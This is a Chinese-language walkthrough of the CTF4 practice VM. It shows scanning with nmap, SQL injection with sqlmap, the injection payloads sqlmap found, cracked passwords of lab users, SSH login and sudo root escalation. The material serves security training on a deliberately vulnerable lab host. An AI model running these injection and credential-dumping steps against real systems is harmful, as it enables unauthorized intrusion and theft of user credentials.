CTF4靶机渗透

主机发现

使用命令:
netdiscove

┌──(root💀kali)-[~]
└─# netdiscover    

得出目标主机ip地址为: 1.1.2.150                                                                                                                                             

端口扫描

使用命令:
nmap -A -v -sS -sV -p- 1.1.2.150

┌──(root💀kali)-[~]
└─# nmap -A -v -sS -sV -p- 1.1.2.150           
                                                                                                                 127 ⨯
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-07 09:26 CST
NSE: Loaded 153 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 09:26
Completed NSE at 09:26, 0.00s elapsed
Initiating NSE at 09:26
Completed NSE at 09:26, 0.00s elapsed
Initiating NSE at 09:26
Completed NSE at 09:26, 0.00s elapsed
Initiating ARP Ping Scan at 09:26
Scanning 1.1.2.150 [1 port]
Completed ARP Ping Scan at 09:26, 0.05s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 09:26
Completed Parallel DNS resolution of 1 host. at 09:26, 0.02s elapsed
Initiating SYN Stealth Scan at 09:26
Scanning 1.1.2.150 [65535 ports]
Discovered open port 25/tcp on 1.1.2.150
Discovered open port 22/tcp on 1.1.2.150
Discovered open port 80/tcp on 1.1.2.150



参数说明:
-A:详细扫描目标IP,加载所有脚本,尽可能地全面地探测信息。
-v:显示详细的扫描过程。
-sS:TCP SYN 扫描。
-sV:探测开放。
-p-:扫描全部端口。

扫描得出目标开放了端口:22(SSH服务),25(SMTO服务),80(HTTP服务)。

漏洞挖掘

对页面进行测试发现单引号报错

image.png

使用以下命令爆出表名:

sqlmap -u http://1.1.2.150/index.html\?page\=blog\&title\=Blog\&id\=2 --tables
                                                                                                                                                                      
┌──(root💀kali)-[~]
└─# sqlmap -u http://1.1.2.150/index.html\?page\=blog\&title\=Blog\&id\=2 --tables


Database: ehks
[3 tables]
+---------------------------------------+
| user                                  |
| blog                                  |
| comment                               |
+---------------------------------------+

使用以下命令爆出字段:

sqlmap -u http://1.1.2.150/index.html\?page\=blog\&title\=Blog\&id\=2 -D ehks --tables -T user --columns
┌──(root💀kali)-[~]
└─# sqlmap -u http://1.1.2.150/index.html\?page\=blog\&title\=Blog\&id\=2 -D ehks --tables -T user --columns

[08:20:15] [INFO] fetching columns for table 'user' in database 'ehks'
Database: ehks
Table: user
[3 columns]
+-----------+-------------+
| Column    | Type        |
+-----------+-------------+
| user_id   | int(11)     |
| user_name | varchar(20) |
| user_pass | varchar(32) |
+-----------+-------------+

使用以下命令爆出密码等数据:

sqlmap -u http://1.1.2.150/index.html\?page\=blog\&title\=Blog\&id\=2 -D ehks --tables -T user --columns -C user_name,user_pass --dump
             
        ___
       __H__                                                                                                                                                          
 ___ ___[)]_____ ___ ___  {1.4.11#stable}                                                                                                                             
|_ -| . [.]     | .'| . |                                                                                                                                             
|___|_  [.]_|_|_|__,|  _|                                                                                                                                             
      |_|V...       |_|   http://sqlmap.org                                                                                                                           

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 08:35:50 /2021-04-07/

[08:35:50] [INFO] resuming back-end DBMS 'mysql' 
[08:35:50] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: page=blog&title=Blog&id=2 AND 1944=1944

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: page=blog&title=Blog&id=2 AND (SELECT 6440 FROM (SELECT(SLEEP(5)))ntAT)

    Type: UNION query
    Title: Generic UNION query (NULL) - 5 columns
    Payload: page=blog&title=Blog&id=2 UNION ALL SELECT NULL,NULL,CONCAT(0x7170786a71,0x57704a764f7569574244654e6b65534a547a46427470666a76667a744d44646e424e425548634745,0x716b706b71),NULL,NULL-- -
---
[08:35:50] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[08:35:50] [INFO] fetching tables for database: 'ehks'
Database: ehks
[3 tables]
+---------+
| user    |
| blog    |
| comment |
+---------+

[08:35:50] [INFO] fetching columns 'user_name, user_pass' for table 'user' in database 'ehks'
Database: ehks
Table: user
[2 columns]
+-----------+-------------+
| Column    | Type        |
+-----------+-------------+
| user_name | varchar(20) |
| user_pass | varchar(32) |
+-----------+-------------+

[08:35:50] [INFO] fetching entries of column(s) 'user_name,user_pass' for table 'user' in database 'ehks'
[08:35:50] [INFO] recognized possible password hashes in column 'user_pass'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y
[08:36:01] [INFO] writing hashes to a temporary file '/tmp/sqlmapl0y6hvjq1955/sqlmaphashes-llvl1jy9.txt' 
do you want to crack them via a dictionary-based attack? [Y/n/q] y
[08:36:06] [INFO] using hash method 'md5_generic_passwd'
[08:36:06] [INFO] resuming password 'ilike2surf' for hash '02e823a15a392b5aa4ff4ccb9060fa68' for user 'dstevens'
[08:36:06] [INFO] resuming password 'seventysixers' for hash 'b46265f1e7faa3beab09db5c28739380' for user 'achen'
[08:36:06] [INFO] resuming password 'Homesite' for hash '8f4743c04ed8e5f39166a81f26319bb5' for user 'pmoore'
[08:36:06] [INFO] resuming password 'Sue1978' for hash '7c7bc9f465d86b8164686ebb5151a717' for user 'jdurbin'
[08:36:06] [INFO] resuming password 'pacman' for hash '64d1f88b9b276aece4b0edcc25b7a434' for user 'sorzek'
[08:36:06] [INFO] resuming password 'undone1' for hash '9f3eb3087298ff21843cc4e013cf355f' for user 'ghighland'
Database: ehks
Table: user
[6 entries]
+-----------+--------------------------------------------------+
| user_name | user_pass                                        |
+-----------+--------------------------------------------------+
| dstevens  | 02e823a15a392b5aa4ff4ccb9060fa68 (ilike2surf)    |
| achen     | b46265f1e7faa3beab09db5c28739380 (seventysixers) |
| pmoore    | 8f4743c04ed8e5f39166a81f26319bb5 (Homesite)      |
| jdurbin   | 7c7bc9f465d86b8164686ebb5151a717 (Sue1978)       |
| sorzek    | 64d1f88b9b276aece4b0edcc25b7a434 (pacman)        |
| ghighland | 9f3eb3087298ff21843cc4e013cf355f (undone1)       |
+-----------+--------------------------------------------------+

[08:36:06] [INFO] table 'ehks.`user`' dumped to CSV file '/root/.local/share/sqlmap/output/1.1.2.150/dump/ehks/user.csv'
[08:36:06] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/1.1.2.150'

[*] ending @ 08:36:06 /2021-04-07/

SSH利用

尝试使用获取到的账号登录SSH,报错!
line 53: Bad configuration option: permitrootlogi

┌──(root💀kali)-[~]
└─# ssh achen:seventysixers@1.1.2.150                                                                                                                          
/etc/ssh/ssh_config: line 53: Bad configuration option: permitrootlogin
/etc/ssh/ssh_config: terminating, 1 bad configuration options

修改ssh_config文件,禁止root远程登录。

┌──(root💀kali)-[~]
└─# vi /etc/ssh/ssh_config
#   PermitRootLogin yes

再次尝试ssh登录失败,报如下错误:
Unable to negotiate with 1.1.2.150 port 22: no matching key exchange method found. Their offer: diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1

┌──(root💀kali)-[~]
└─# ssh dstenvens@1.1.2.150   
Unable to negotiate with 1.1.2.150 port 22: no matching key exchange method found. Their offer: diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1
                                                                                                                                                                      
┌──(root💀kali)-[~]
└─# ssh achen@1.1.2.150                                                                                                                                         255 ⨯
Unable to negotiate with 1.1.2.150 port 22: no matching key exchange method found. Their offer: diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1

添加.ssh/config文件并修改其内容:

┌──(root💀kali)-[~]
└─# vi .ssh/config            

Host 1.1.2.150
        KexAlgorithms +diffie-hellman-group1-sha1
# 注意:Host 为CTF4服务器的ip地址   
# +diffie前有空格                                                                                                                                                                   

再次尝试使用获取到的账号登录SSH,成功登录

┌──(root💀kali)-[~]
└─# ssh achen@1.1.2.150
The authenticity of host '1.1.2.150 (1.1.2.150)' can't be established.
RSA key fingerprint is SHA256:NDWh6/414mOsW4P7K6ICc5R67PrX87ADMFUx9DK9ftk.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '1.1.2.150' (RSA) to the list of known hosts.
BSD SSH 4.1
achen@1.1.2.150's password: 
Last login: Tue Mar 10 12:45:06 2009
[achen@ctf4 ~]$ whoami
achen

权限提升

使用sudo命令进行提权

[achen@ctf4 ~]$ sudo su
[root@ctf4 achen]# 
[root@ctf4 achen]# netstat -pantu | grep 22
tcp        0      0 0.0.0.0:25                  0.0.0.0:*                   LISTEN      2422/sendmail: acce 
tcp        0      0 :::22                       :::*                        LISTEN      2283/sshd           
tcp        0      0 ::ffff:1.1.2.150:22         ::ffff:1.1.2.129:47108      ESTABLISHED 3881/sshd: achen [p 

使用sudo -l查看当前用户权限

[root@ctf4 achen]# sudo -l
User achen may run the following commands on this host:
    (ALL) ALL

成功提权

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 215,539评论 6 497
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 91,911评论 3 391
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 161,337评论 0 351
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 57,723评论 1 290
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,795评论 6 388
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,762评论 1 294
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,742评论 3 416
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,508评论 0 271
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,954评论 1 308
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,247评论 2 331
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,404评论 1 345
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,104评论 5 340
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,736评论 3 324
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,352评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,557评论 1 268
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,371评论 2 368
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,292评论 2 352